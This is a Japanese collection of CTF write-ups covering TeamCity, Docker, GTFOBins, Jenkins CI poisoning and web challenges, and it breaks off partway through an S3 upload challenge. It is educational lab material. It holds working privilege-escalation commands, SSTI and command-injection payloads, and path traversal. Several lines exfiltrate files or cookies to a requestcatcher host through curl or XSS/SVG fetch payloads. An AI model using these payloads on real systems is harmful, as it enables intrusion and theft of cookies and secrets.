/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

id
->
uid=0(root) gid=0(root) groups=0(root)

rootで動いてるなら何でもできますね。FlagHasherで動かしているsleepをハイジャックする。whoamiの方で以下を実行する。

echo 'echo $flag | base64' > /opt/java/openjdk/bin/sleep
chmod 777 /opt/java/openjdk/bin/sleep

こちらが用意したsleepをより優先度の高い所に置けたので、この状態でFlagHasherを動かすとecho $flag | base64が動かせてフラグが得られる。

[Teamcity] Teamcity - Extreme 解けなかった

前問であるTeamcity - Hardと状況は同じように見えるが、whoami側で前回試したコマンドを試してみると、rootユーザーでの実行からbuildagentユーザーでの実行にハーデニングされている。

pwd
echo $PATH
id
ls -la /opt/java/openjdk/bin
->
/opt/buildagent/work/d1df6864f98d2599
/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
uid=1000(buildagent) gid=1000(buildagent) groups=1000(buildagent),999(docker)
in directory: /opt/buildagent/work/d1df6864f98d2599
total 456
drwxr-xr-x 2 root root  4096 Apr 14  2023 .
drwxr-xr-x 9 root root  4096 Mar 27 11:35 ..
...

…という感じで、前回と同じやり方は使えない。

終了後のDiscordでwhoami側でbackgroundで/proc/PID/environを全部ダンプするスクリプトをぶん回しながらFlagHasher側を動かしてフラグを抜いてくるというやり方が紹介されていた。ref

[Teamcity] Teamcity - PBAC 解いてない

TeamCityとその認証情報が与えられる。Challenge/PBACというプロジェクトがあり、ビルドするとaws s3 ls s3://teamcity-s3-challengeが実行される。

(多分ビルド環境からAWSの認証情報抜いてきて、あとはAWS側を探索してフラグを見つけるという話だと思う。)

[Containerisation] Docker privesc

root権限に昇格せよという問題。ユーザー権限でのシェルは与えられる。

dockerを使って権限昇格ということでメモから使えそうなテクを探す。色々見るとfind / -name docker.sock 2>/dev/nullとすると/run/docker.sockが出てきた。つまり、普通にdockerコマンドが使えることになる。という訳でimageがあるか見てみよう。

ip-10-0-9-160:~$ docker image ls
REPOSITORY   TAG       IMAGE ID       CREATED         SIZE
alpine       latest    b2aa39c304c2   14 months ago   7.05MB

使えそうなのがありますね。これを踏み台にして、今の環境のrootをマウント経由で持って来ることにします。dockerの内部に入って、ルートを/mntにマウントします。

docker run -v /:/mnt --rm --user root:root -it alpine /bin/sh

これで全部見れるようになったのでdocker内のシェルからcat /mnt/root/FLAGでフラグ獲得。(説明が雑すぎるかも)

[Containerisation] Kubernetes - EASY 解けなかった

ユーザー権限でのシェルが与えられ、フラグを探す問題。題名からKubernetesを使うのだろうというのは分かるが、Kubernetesのペンテストはよくわからん。いい所まで行ったと思うが、フラグまでたどり着かなかった…

[Containerisation] Docker Lair

ユーザー権限でのシェルが与えられ、フラグを探す問題。おもむろにdocker image lsするとchallengeというのがある。

ip-10-0-13-230:/$ docker image ls
REPOSITORY   TAG       IMAGE ID       CREATED              SIZE
challenge    latest    678eaa2fd6c7   About a minute ago   7.05MB
alpine       latest    b2aa39c304c2   14 months ago        7.05MB

layer毎に分解して中身を見てみよう。docker save challenge > dumped.tarとしてtar -xvf layer.tarとすると何層かレイヤーが見える。適当に巡回すると、f6f0d15e7b4f4484d8cdad7a59a4e910ea1323f8a4af7d1e222a80ff0a05a1ebにフラグがあった。

ip-10-0-13-230:~$ ls
28d3982c35b499f19548bfe8f6374546c37a8c5f819d184a54f2b97924a86607
477b394dfb9f6eaf5088b4db3210fef7877b63cd870f33ba82cceacf9043f2f0
678eaa2fd6c70c0cf1ba67420e898bc8b33bbcd38f0d55f74a1bf421b9dceb16.json
a402dde20943a09b284aef93dadfd572a0709c6fe26d53ca1ba54e747556e755
f6f0d15e7b4f4484d8cdad7a59a4e910ea1323f8a4af7d1e222a80ff0a05a1eb
ff7a4ae1cc88f37af6ab5700adc20b33a6777440a06a205db38471cbe0fc0a03
manifest.json
repositories

ip-10-0-13-230:~/f6f0d15e7b4f4484d8cdad7a59a4e910ea1323f8a4af7d1e222a80ff0a05a1eb$ cat opt/SEC
RET 
punk_{■■■■■■■■■■■■■■■■■}

[Containerisation] Docker all the way down 解けなかった

全く分からず。

[Containerisation] Kubernetes - HARD 解いてない

(EASY解けなかった…)

[GTFOBINS] GTFOBINS - 1

GTFOBINSということでsudo -lしてみる。

(ALL) NOPASSWD: /usr/bin/nano /root/mail

GTFOBinsでnanoを探すと権限昇格の方法を見つけることができる。 書いてある通りにやるとrootシェルが起動するのでフラグを適当に探して答える。

sudo /usr/bin/nano /root/mail
^R^X
reset; sh 1>&0 2>&0

これでrootシェル起動。

# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls -la
total 28
drwx------ 1 root root 4096 May  4 15:37 .
drwxr-xr-x 1 root root 4096 May  4 15:32 ..
-rw-r--r-- 1 root root 3106 Oct 15  2021 .bashrc
drwxr-xr-x 3 root root 4096 May  4 15:36 .local
-rw-r--r-- 1 root root 1024 May  4 15:37 .mail.swp
-rw-r--r-- 1 root root  161 Jul  9  2019 .profile
-rw-r--r-- 1 root root   24 May  4 15:32 FLAG
# cat FLAG
punk_{■■■■■■■■■■}

[GTFOBINS] GTFOBINS - 3

これも、初手sudo -lする。

 (ALL) SETENV: NOPASSWD: /usr/bin/pip install *

SETENVがあるので環境変数も引き継がれる。pipのGTFOBinsを見てみよう。 ここのやり方を参考にして以下のようにすると、/rootのディレクトリ情報が抜ける。

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'ls -la /root > /tmp/a')" > $TF/setup.py
sudo /usr/bin/pip install $TF
cat /tmp/a

echo部分をecho "import os; os.execl('/bin/sh', 'sh', '-c', 'cat /root/FLAG > /tmp/a')" > $TF/setup.pyにして同様にやればフラグ獲得。

[Jenkins] Saucy

JenkinsとGitea、そしてそれぞれの認証情報が与えられる。

  • Jenkins
    • Python Buildというジョブがある
    • 実行してみるとwhlファイルを作るもののようだ
  • Gitea
    • punkctf/python-appというレポジトリがある

ということで、python-appの内容がJenkinsのPython Buildでは実行されるんだろう。Gitea側のsetup.pyに追記して色々やる。適当にsetup.pyの末尾にprint(__import__('os').popen('id').read())を入れると、Console Outputにidの結果が出力されてきた。ok。

Console Outputを眺めるとFLAG=**** python3 setup.py sdist bdist_wheelと呼ばれているので、print(__import__('os').environ.get('FLAG')[:-1])でフラグを抜いてくる。([:-1]しているのはマスク避け)

[Jenkins] Look at the state of this

Jenkinsとその認証情報が与えられる。

Jenkinsを見るとSecure Jobs/Buildersというジョブがある。巡回していると、http://gitea.punk.local:3000/punkctf/jenkins.gitというURLにアクセスして何かしてるようだ。レポジトリの中身も見ることができる。中にはTerraformのあれこれが入っていて、ジョブではTerraformを使ってあれこれ動かしているみたい。

更に巡回すると、terraform.tfでpostgresの認証情報が手に入る。

terraform {
  backend "pg" {
    conn_str = "postgres://tfstate:svA3PzGRjMyHn4XWha2G7i3v3uBW5HbS@postgres.punk.local/tfstate?sslmode=disable"
  }
}

別途謎のコンソールが与えられていたので、これを使って接続しろということだろうと思い、psqlしてみると入れた。

punk@ip-10-0-10-188:/var$ psql -h postgres.punk.local -p 5432 -Utfstate -W -d tfstate
Password: 
psql (14.11 (Ubuntu 14.11-0ubuntu0.22.04.1), server 13.14 (Debian 13.14-1.pgdg110+2))
Type "help" for help.

tfstate=# SELECT distinct TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES;
      table_schema      
------------------------
 pg_catalog
 terraform_remote_state
 information_schema
(3 rows)

tfstate=# select distinct table_name from information_schema.tables where table_schema = 'terraform_remote_state';
 table_name 
------------
 states
(1 row)

tfstate=# select * from terraform_remote_state.states;
...
  |         |             "content": "punk_{■■■■■■■■■}",  
...

という感じに巡回しているとフラグがある。

[Jenkins] ArtifaSt

Jenkinsとその認証情報が与えられる。Jenkinsには、以下のジョブがある。

  • Secure Jobs/Builder
    • sleep 30をしてcurl $ARTIFACT_PATH -Oをするジョブ。curlで取得を成功すればtarファイルを解凍して中のbuild.shを実行する
  • Secure Jobs/Packager
    • http://gitea.punk.local:3000/punkctf/jenkins.gitを参照している
      • ここのjenkinsfileを見てみると…
      • Secure Jobs/Builderをkickする
      • Builderが使う http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1/package.tar を用意

機能的には以上の通り。脆弱な点として、giteaにあるレポジトリの中のJenkinsfileでtarファイルをアップロードする際の認証情報がべた書きされていて漏洩している。以下のような感じ。

sh 'curl --user punkctf:29de0161780654d14f74d04ecb472f5fd888a2e3 --upload-file package.tar http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1/package.tar'

前問同様に、便利に使えるコンソールが与えられることを考慮して、以下の流れで攻撃を進める。

  1. Packagerを実行する
  2. PackagerによってBuilderが実行され、Builder側はsleep 30を実行
  3. Packagerの残りの処理でpackager.tarが用意される
  4. Builderのsleepが終わる前に、別コンソールからpackage.tarをアップロード
  5. Builderのsleepが終わり、差し込まれたpackage.tarに入っているシェルスクリプトが実行される

ということで、別コンソールでは以下のようにやる。

echo 'echo $TOKEN | base64' > build.sh
tar cvf package.tar build.sh
# Packager実行
curl --user punkctf:29de0161780654d14f74d04ecb472f5fd888a2e3 -X DELETE http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1
curl --user punkctf:29de0161780654d14f74d04ecb472f5fd888a2e3 --upload-file package.tar http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1/package.tar

Builder完了後にConsole Outputを見るとbase64エンコードされたフラグが載っている。

[Jenkins] It's just a comment

JenkinsとGitea、そして、その両方の認証情報が与えられる。

JenkinsではGitea/jenkinsというのがあり、Giteaではpunkctf/jenkinsというのがある。Gitea側ではPull RequestsにJenkinsからコメントがあり、secretが見つかったから消せ!というコメントが出ている。Jenkinsfileを見てみるとsecretという文字列で検索して、ヒットするとコメントを出す。

恐らく重要なのが、Pull Requestsが作られた段階でJenkinsfileが実行されているということだろうので、新しくPull Requestsを作ってRCEしてみよう。

  1. masterブランチから新しくpocブランチを作成
  2. Jenkinsfileのsecretでgrepしている部分の上くらいにenv | base64を追記し、コミット
  3. pocブランチをmasterブランチにマージする形でPull Requestを新しく作る
  4. Jenkins側でスキャンを動かす
  5. 該当PRのConsole Outputから結果を受け取る

色々RCEしてみるがフラグが見当たらない。ところでPull RequestsにJenkinsというユーザーがログインしていて、トークン情報が送られていることに気が付く。echo $GITEA_TOKEN | base64というのを追加してみて、取り出し、API呼び出ししてみよう。

http://gitea.punk.local:3000/api/v1/user?token=957b0734e64057f9129b628df3556afbaa1a7020
->
{"id":2,"login":"jenkins","login_name":"","full_name":"","email":"jenkins@punk.local","avatar_url":"https://secure.gravatar.com/avatar/cf9325fafa42f009b2922e2943d2907f?d=identicon","language":"en-US","is_admin":true,"last_login":"2024-04-29T15:28:50Z","created":"2024-04-29T15:27:35Z","restricted":false,"active":true,"prohibit_login":false,"location":"","website":"","description":"","visibility":"limited","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"jenkins"}

"is_admin":trueGiteaのAPI仕様書を見ながら巡回する。

http://gitea.punk.local:3000/api/v1/repos/search?token=957b0734e64057f9129b628df3556afbaa1a7020
->
{"ok":true, … ,{"id":2,"owner":{"id":2,"login":"jenkins","login_name":"","full_name":"","email":"jenkins@punk.local","avatar_url":"https://secure.gravatar.com/avatar/cf9325fafa42f009b2922e2943d2907f?d=identicon","language":"","is_admin":false,"last_login":"0001-01-01T00:00:00Z","created":"2024-04-29T15:27:35Z","restricted":false,"active":false,"prohibit_login":false,"location":"","website":"","description":"","visibility":"limited","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"jenkins"},"name":"secret","full_name":"jenkins/secret", … 
->
jenkins/secretというのがありますね。

http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents?token=957b0734e64057f9129b628df3556afbaa1a7020
->
[{"name":"Flag","path":"Flag","sha":"1730702ad1437bc704e1ce3e6a0a6148232770fc","last_commit_sha":"cd746cb65f3ebd134e50f42ba91177183001b440","type":"file","size":25,"encoding":null,"content":null,"target":null,"url":"http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents/Flag?ref=master","html_url":"http://gitea.punk.local:3000/jenkins/secret/src/branch/master/Flag" …
->
Flagというファイルがありますね。

http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents/Flag?token=957b0734e64057f9129b628df3556afbaa1a7020
->
{"name":"Flag","path":"Flag","sha":"1730702ad1437bc704e1ce3e6a0a6148232770fc","last_commit_sha":"cd746cb65f3ebd134e50f42ba91177183001b440","type":"file","size":25,"encoding":"base64","content":"cHVua19■■■■■■■■■■■■■■■■■■■■","target":null,"url":"http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents/Flag?ref=master", …

やっと見つけた!

[Jenkins] Terraform - Hard 解けなかった

Jenkinsとその認証情報が与えられる。

JenkinsにSecure jobs/Builderというジョブがあり、giteaのhttp://gitea.punk.local:3000/punkctf/jenkins.gitにあるTerraformを実行している。前問 Saucy と同様にterraform.tfに認証情報が漏洩していた。

terraform {
  backend "pg" {
    conn_str = "postgres://tfstate:svA3PzGRjMyHn4XWha2G7i3v3uBW5HbS@postgres.punk.local/tfstate?sslmode=disable"
  }
}

前問と同じように解いてみるが、select * from terraform_remote_state.states;の後何も出てこない…DBを改ざんしてRCE?分からん。

[Jenkins] Peer reviews to fight abuse

JenkinsとGitea、その両方の認証情報が与えられる。状況は以下の通り。

  • Jenkins
    • Gitea
      • PRを探してJenkinsfileを実行してくれる
    • Secure Jobs/Generate Release
      • http://gitea.punk.local:3000/hudson/jenkins.git を動かしてる
      • 詳しい内部挙動は分からないが、実行時ログを見ると+ echo # Version 4.5.24...のようにRELEASE.mdをコマンド内部で使っていそうな雰囲気がある
  • Gitea
    • hudson/jenkins
      • 自由にPRを出すことはできるが、別の誰か1人に承認してもらう必要がある

ゴールはSecure Jobs/Generate Release$FLAGを出力させること。逆算して考えると、RELEASE.mdを使ってRCEをするのではないかと仮説が立つ。そして、RELEASE.mdを更新するにはPRで誰かに承認を強制させる必要がある。

承認を強制させる

これは、JenkinsのGiteaを使う。Jenkinsfileを見てみると以下のようにPRにコメントを残す処理をしている。コメントの主はJenkinsというユーザーであり、自分とは異なる。

pipeline {
    agent any
    stages {
        stage('build') {
            steps {
                withCredentials([string(credentialsId: 'gitea', variable: 'GITEA_TOKEN')]) {
                    sh '''#!/usr/bin/env bash
                            curl -X 'POST' \\
                              "http://gitea.punk.local:3000/api/v1/repos/hudson/jenkins/pulls/$CHANGE_ID/reviews" \\
                              -H 'accept: application/json' \\
                              -H "Authorization: token $GITEA_TOKEN" \\
                              -H 'Content-Type: application/json' \\
                              -d "{
                              \\"body\\": \\"Thanks for your submission. Please wait for a maintainer to approve your PR.\\",
                              \\"commit_id\\": \\"$GIT_COMMIT\\",
                              \\"event\\": \\"COMMENT\\"
                            }"
                    '''
                }
            }
        }
    }
}

PRを出して、JenkinsのGiteaで処理をする際に使うJenkinsfileはPRでpushしたファイルが利用される。そのため、このコメントを残す処理を承認をする処理に変えてやれば承認を強制させることができる。

手順としては、まず承認させたいPRを作成する。今回の中間目標はRELEASE.mdの修正なので、RELEASE.mdを修正してPRを出す。

次に、RELEASE.mdの修正PRを承認させるためのPRを出す。Jenkinsfileの以下の部分を変更する。

  • $CHANGE_IDをRELEASE.mdの修正PRの番号にする
  • bodyとcommit_idを消す(指摘だと思われて承認が外れるっぽい?)
  • eventをAPPROVEDに変更する

この状態に変更してPRを出し、Jenkins側からGiteaのジョブを動かすと、変更後のJenkinsfileが実行され、指定のPRに承認がなされる。これでmergeの条件を満たすのでmarge可能となる。

RELEASE.mdを使ってRCEをする

これは単純でRELEASE.mdの中身を展開するときにエスケープされないのか、末尾に'を入れることでechoに入る文字列を脱出することができる。つまり、末尾に' && id #と追加すればidコマンドの結果を得ることができる。

よって、最終的にはRELEASE.mdの末尾にecho $FLAG | base64としてフラグを取り出せば良い。

UMDCTF 2024 Writeups

https://ctftime.org/event/2323

web/Donations

ソースコード無し。
寄付できるサイトが与えられる。

POST /api/donate HTTP/2
Host: donations-api.challs.umdctf.io
Cookie: session=eyJ1c2VybmFtZSI6ICJldmlsbWFuIn0=.ZixWKQ.YTGpGoytWnjqiFg2fW68pNtuml8
Content-Length: 30
Content-Type: application/x-www-form-urlencoded

to=lisanalgaib&currency=-10000

以上のようにマイナスの値で寄付をするとお金が増えて、この状態で自分のページに行くとフラグがもらえた。

web/Donations (but I fixed it) あきらめ

ソースコード無し。
色々試したが分からん。

Discordを見るとtoを複数やると検証を回避して違う人に送れるっぽい。ふむ。

web/HTTP Fanatics

一部、main.pyとmain.rsというソースコード有り。

HTTP/3での通信が必要。それ以外でつないでいくとHTTP/3でつないでと言われる。
curlではEXPERIMENTALな実装らしいので、誰かがビルドしてくれたものを雑に使って接続した。
(推奨するわけではないので使ったアプリは紹介しない)

とりあえず $ ./curl --http3-only https://http-fanatics.challs.umdctf.io でいい感じに表示ができた。

main.pyの以下で登録処理ができるのでやってみる。

@app.post("/admin/register")
def register(user: Registration):
    if not re.match(r"[a-zA-Z]{1,8}", user.username):
        return Response(status_code=400, content="Bad Request")

    users[user.username] = user.password
    return Response(status_code=204)

ということで以下のようにする。

$ ./curl --http3-only https://http-fanatics.challs.umdctf.io/admin/register -X POST -d '{"username":"evilman","password":"sadfjk234jisdfjksdafjisad"}' -H "Content-Type: 
application/json"
Unauthorized

Unauthorizedと言われますね。
HTTP/3部分を担当しているmain.rsの実装を見てみる。

    if request.uri().path() == "/admin/register" {
        stream.send_response(Response::builder().status(StatusCode::UNAUTHORIZED).body(()).unwrap()).await?;
        stream.send_data(Bytes::from("Unauthorized")).await?;
        stream.finish().await?;
        return Ok(());
    }

ブロック処理がありました。これを回避する必要がある。
これは単純にadmin/registerをURLエンコードしてadmin%2fregisterとすることで回避できた。
完全に想像だが、

  /admin%2fregister         /admin/register   
          ┌─────────────┐      ┌─────────────┐
─────────►│             ├─────►│             │
          │  main.rs    │      │   main.py   │
◄─────────┼─────────────┼──────┤             │
          └─────────────┘      └─────────────┘

多分こんな感じで処理されてうまくいく。
誰がURLデコードしているかは不明だが、fastapiだろう。(無根拠)

これで登録処理が完了したので、main.pyの以下の部分にあるようにログインしてみる。

@app.get("/dashboard")
def dashboard(credentials: Annotated[str | None, Cookie()] = None):
    if not credentials:
        return Response(status_code=401, content="Unauthorized")

    user_info = json.loads(base64.b64decode(credentials))
    if user_info["username"] not in users or user_info["password"] != users[user_info["username"]]:
        return Response(status_code=401, content="Unauthorized")

    with open("static/dashboard.html") as dashboard_file:
        return HTMLResponse(content=dashboard_file.read())

ということなので、

$ ./curl --http3-only https://http-fanatics.challs.umdctf.io/dashboard -b "credentials=eyJ1c2VybmFtZSI6ImV2aWxtYW4iLCJwYXNzd29yZCI6InNhZGZqazIzNGppc2RmamtzZGFmamlzYWQifQ=="
<html>
<head>
    <title>HTTP Fanatics - Dashboard</title>
</head>
<body>
<h1>HTTP Fanatics - Registered Member Dashboard</h1>
<p>Flag: UMDCTF{■■■■■■■■■■■■■■■■■■■■■■}</p>
</body>
</html>

フラグが得られた。

web/UMDProxy 解いてない

ソースコード無し…

AirOverflow CTF - 2024 Writeups

https://ctftime.org/event/2360

[Web] QrZilla

ソースコード無し。
QRコードの作成と読み込みができるサイトが与えられる。
色々試すとSSTI脆弱性があった。

{{7*7}}を入れてQRコードを作成し、生成されるURLをScanの方で表示させると49と表示された。
ということでいつものようにRCEしていく。

{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah /').read()}}でフラグの場所が分かるので、

total 72K
drwxr-xr-x   1 root root 4.0K Apr 28 05:09 .
drwxr-xr-x   1 root root 4.0K Apr 28 05:09 ..
-rwxr-xr-x   1 root root    0 Apr 28 05:09 .dockerenv
lrwxrwxrwx   1 root root    7 Apr  8 00:00 bin -> usr/bin
drwxr-xr-x   2 root root 4.0K Jan 28 21:20 boot
drwxr-xr-x   1 root root 4.0K Apr 23 13:45 code
drwxr-xr-x   5 root root  340 Apr 28 05:09 dev
drwxr-xr-x   1 root root 4.0K Apr 28 05:09 etc
-rw-rw-r--   1 root root   59 Apr 28 05:09 flag.txt
drwxr-xr-x   2 root root 4.0K Jan 28 21:20 home
lrwxrwxrwx   1 root root    7 Apr  8 00:00 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Apr  8 00:00 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4.0K Apr  8 00:00 media
drwxr-xr-x   2 root root 4.0K Apr  8 00:00 mnt
drwxr-xr-x   2 root root 4.0K Apr  8 00:00 opt
dr-xr-xr-x 306 root root    0 Apr 28 05:09 proc
drwx------   1 root root 4.0K Apr 23 18:29 root
drwxr-xr-x   1 root root 4.0K Apr 10 05:25 run
lrwxrwxrwx   1 root root    8 Apr  8 00:00 sbin -> usr/sbin
drwxr-xr-x   2 root root 4.0K Apr  8 00:00 srv
dr-xr-xr-x  13 root root    0 Apr 28 05:09 sys
drwxrwxrwt   1 root root 4.0K Apr 23 18:30 tmp
drwxr-xr-x   1 root root 4.0K Apr  8 00:00 usr
drwxr-xr-x   1 root root 4.0K Apr  8 00:00 var

{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}のようにして取り出す。

[Web] Feedback

ソースコード無し。
入力できる所でガチャガチャやってると`id`でidコマンドが動いた。
使えない文字があるので色々頑張る必要がありそう。

スペースは${IFS}で代用可能だった。`cat${IFS}main.py`ソースコードを抜いてみよう。

from fastapi import FastAPI, Request from fastapi.responses import HTMLResponse from fastapi.staticfiles import StaticFiles from fastapi.templating import Jinja2Templates import os import subprocess app = FastAPI(docs_url=None, redoc_url=None) #app.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\") templates = Jinja2Templates(directory=\"templates\") @app.get(\"/\", response_class=HTMLResponse) async def root(req: Request): return templates.TemplateResponse(\"index.html\", {\"request\": req, \"id\": id}) invalid_chars = [ \" \", \"less\", \"more\", \"head\", \"tail\", \"grep\", \"awk\", \"sed\", \"flag\", \"txt\", \"base\", \"*\", \"/\", \";\", \"[\", \"]\", \"\\\"\", \"\\'\", \"?\" ] @app.post(\"/submit\") async def submit(req: Request): data = await req.json() name = data.get(\"name\") for char in invalid_chars: if char in name: return { \"success\": False, \"response\": \"Invalid Characters\" } try: get_output = subprocess.check_output(f\"echo \" + name, shell=True, executable=\"/bin/bash\") except: return { \"success\": False, \"response\": \"Something went wrong on our side.\" } return { \"success\": True, \"response\": get_output }\n

invalid_chars = [ \" \", \"less\", \"more\", \"head\", \"tail\", \"grep\", \"awk\", \"sed\", \"flag\", \"txt\", \"base\", \"*\", \"/\", \";\", \"[\", \"]\", \"\\\"\", \"\\'\", \"?\" ]が禁止だった。
スラッシュは${HOME:0:1}で代用可能。
flag,txtはfla{g..g}tx{t..t}のように回避すればいいので、最終的に`cat${IFS}${HOME:0:1}fla{g..g}.tx{t..t}`でフラグ取得可能。

[Web] MusicOverflow2077

ソースコード無し。
音楽を鳴らせるサイトが与えられる。
リクエストを眺めると GET /music.php/?song=BIG%20DAWG%20THING.mp3 というディレクトリトラバーサルできそうな所がある。
GET /music.php/?song=../../../../etc/passwdでいつもの出力が出てきた。

色々試すとソースコードが抜けた。
GET /music.php/?song=../index.php
先頭に難読化されたphpが埋め込まれている。

<?php $_=``.[];$__=@$_;$_= $__[0]; $_1 = $__[2]; $_1++;$_1++;$_1++;$_1++;$_1++;$_1++;$_++;$_++;$_0 = $_;$_++;$_2 = ++$_; $_55 = '_'.(','^'|').('/'^'`').('-'^'~').(')'^'}');$_74 = ('{'^':').('`'^'/').('='^'{').('#'^'`').(')'^'}').('`'^'&').('@'^'r').('k'^'_'); $_ = $_2.$_1.$_2.$_0; $_($$_55[$_74.'_oEC8QYaYKp']);?>

適当に動的解析しながら復元すると最終的にはExEC($_POST['AOFCTF24_oEC8QYaYKp']);を動かすコードだった。
という訳で以下のような感じでRCEできる。

POST / HTTP/1.1
Host: challs.airoverflow.com:34283
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 148

AOFCTF24_oEC8QYaYKp=sleep%205

遅延するので、curl経由で情報を抜き出していくとフラグが得られる。

ls -la / | curl https://[yours].requestcatcher.com/test -X POST -d @-
-> flag_0Lgs89Oz9G.txt

cat /flag_0Lgs89Oz9G.txt | curl https://[yours].requestcatcher.com/test -X POST -d @-

[Web] Little Nightmare

ソースコード有り。
/flagが取得できればクリア。

app.pyは非常にシンプル。

from aiohttp import web

app = web.Application()
app.add_routes([
    web.get('/', lambda request: web.FileResponse('./index.html')),
    web.static('/', './assets/', follow_symlinks=True)
])

web.run_app(app, port=1337)

ディレクトリトラバーサルやろと思い、以下のリクエストを投げるとフラグがもらえる。

GET /../../../../../flag HTTP/1.1
Host: challs.airoverflow.com:33831

[Web] Katana

ソースコード一部有り。
XSSする問題。

<script>
    const urlParams = new URLSearchParams(window.location.search);
    for(var [key, value] of urlParams) {
        if(document.getElementById(key))
        {
            document.getElementById(key).innerText = `${value}`;
        }
        else if (window.debugMode)
        {
            document.write("unidentified keys <br />");
            document.write(`${key} = ${value} <br />`);
        }
        else
        {
            key = DOMPurify.sanitize(key);
            document.write(`<span style='color: red'>${key} not found in the document</span><br />`);
        }
    }
</script>

DOMPurifyがあるのでelseの部分でXSSは難しいが、window.debugModeの分岐の所ならできそう。
ここにどう入れるかであるが、DOM Clobberingで達成可能。

<a id="debugMode"></a>を差し込めれば、DOM Clobberingでwindow.debugModeを入れ込める。
これはurlParamsのループの1週目にelseで入れ込めばよい。
DOMPurifyでも消されないので問題ない。
あとは2週目でXSSする。

何故か本番環境ではdebugModeではなくAOFCTF24に変名されていたので、
/?<a id="AOFCTF24"></a>&xss=<img src=x onerror=fetch(`https://[yours].requestcatcher.com/test?${document.cookie}`);>のような入力をURLエンコードして投げてやればよい。
つまり、以下のようなURLを渡せばrequest catcherにフラグが飛んでくる。

http://challs.airoverflow.com:33843/?%3Ca%20id%3D%22AOFCTF24%22%3E%3C%2Fa%3E&xss=%3Cimg%20src%3Dx%20onerror%3Dfetch%28%60https%3A%2F%2F[yours]%2Erequestcatcher%2Ecom%2Ftest%3F%24%7Bdocument%2Ecookie%7D%60%29%3B%3E

[Web] Streamify あきらめ

ソースコード無し。
サイトを巡回していると/profileにアクセスしたときにcookieがもらえることに気が付く。
streamer=eyJzdHJlYW1lcm5hbWUiOiJSb290eHJhbiIsInN0YXR1cyI6Im9ubGluZSIsImFnZSI6IjIwIiwiZ2FtZXMiOiIxMyIsImZyaWVuZHNvbmxpbmUiOiI0IiwidG90YWxzdHJlYW1zIjoiMTM2IiwiY2xpcHMiOiIyNCJ9
この入力値がreflectされていることまで気が付いたが、そこから攻撃を進展させることができなかった。

AirOverflow CTF 2024 - Web Write-ups - Saad Akhtar

他の人の解説。
node-serializeが使われていてRCEできたようだ。
似たようなコードを試したのだが…
まあ、しょうがない。

XSSS/XS3 Challenges Writeups

https://twitter.com/flatt_security/status/1773183621844627564

Server Side Upload

ファイルアップロードでき、URLを管理者に送れる機能が付いているサイトが与えられる。
フラグの場所を確認するとクローラーがあり、

const page = await browser.newPage();
// DOMAIN is Challenge Page Domain
page.setCookie({
name: "flag",
value: process.env.FLAG || "flag{dummy}",
domain: process.env.DOMAIN || "example.com",
});
await page.goto(url);

のような感じ。Cookieにフラグが載ってきて、与えられたurlを踏んでいる。
httponlyも無いので、XSSを試そう。
ファイルアップロードのコードは以下のようになっている。

server.post('/api/upload', async (request, reply) => {
  const data = await request.file({
    limits: {
      fileSize: 1024 * 1024 * 100,
      files: 1,
    },
  });
  if (!data) {
    return reply.code(400).send({ error: 'No file uploaded' });
  }

  const filename = uuidv4();
  const s3 = new S3Client({});
  const command = new PutObjectCommand({
    Bucket: process.env.BUCKET_NAME,
    Key: `upload/${filename}`,
    Body: data.file,
    ContentLength: data.file.bytesRead,
    ContentType: data.mimetype,
  });

  await s3.send(command);
  reply.send(`/upload/${filename}`);
  return reply;
});

S3に置いている。
とりあえず、<script> alert(1); </script>というファイルを用意してアクセスするとアラートが出たので、

<img src=x onerror=fetch(`https://[redacted].requestcatcher.com/get?${document.cookie}`);>

を送り付けて、発行されたURLを踏ませるとフラグが得られる。

POST Policy

次はクライアント側で制限がかかっているのと、
Conditionで['starts-with', '$Content-Type', 'image'],というのが付いていた。
ポリシーでimageから始まることしか検証されてないので、svgxssのテクが使える。

https://medium.com/@l_s_/stored-xss-via-svg-file-upload-66b992a5a503

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
    <script>//<![CDATA[
        fetch(`https://[redacted].requestcatcher.com/get?${document.cookie}`);
    //]]>
    </script>
</svg>

以上をxss.pngとして保存して、BurpでInterceptしながら適宜「image/svg+xml」に変更して送ると同様に踏むとフラグが送れるURLが作れる。

Pre Signed Upload

同様に画像アップロードしてみると、

POST /api/upload HTTP/2
Host: [redacted].cloudfront.net
Content-Length: 44
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://[redacted].cloudfront.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://[redacted].cloudfront.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Priority: u=1, i

{"contentType":"image/jpeg","length":111434}

こういうのが走って、応答として

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Date: Sun, 31 Mar 2024 04:44:03 GMT
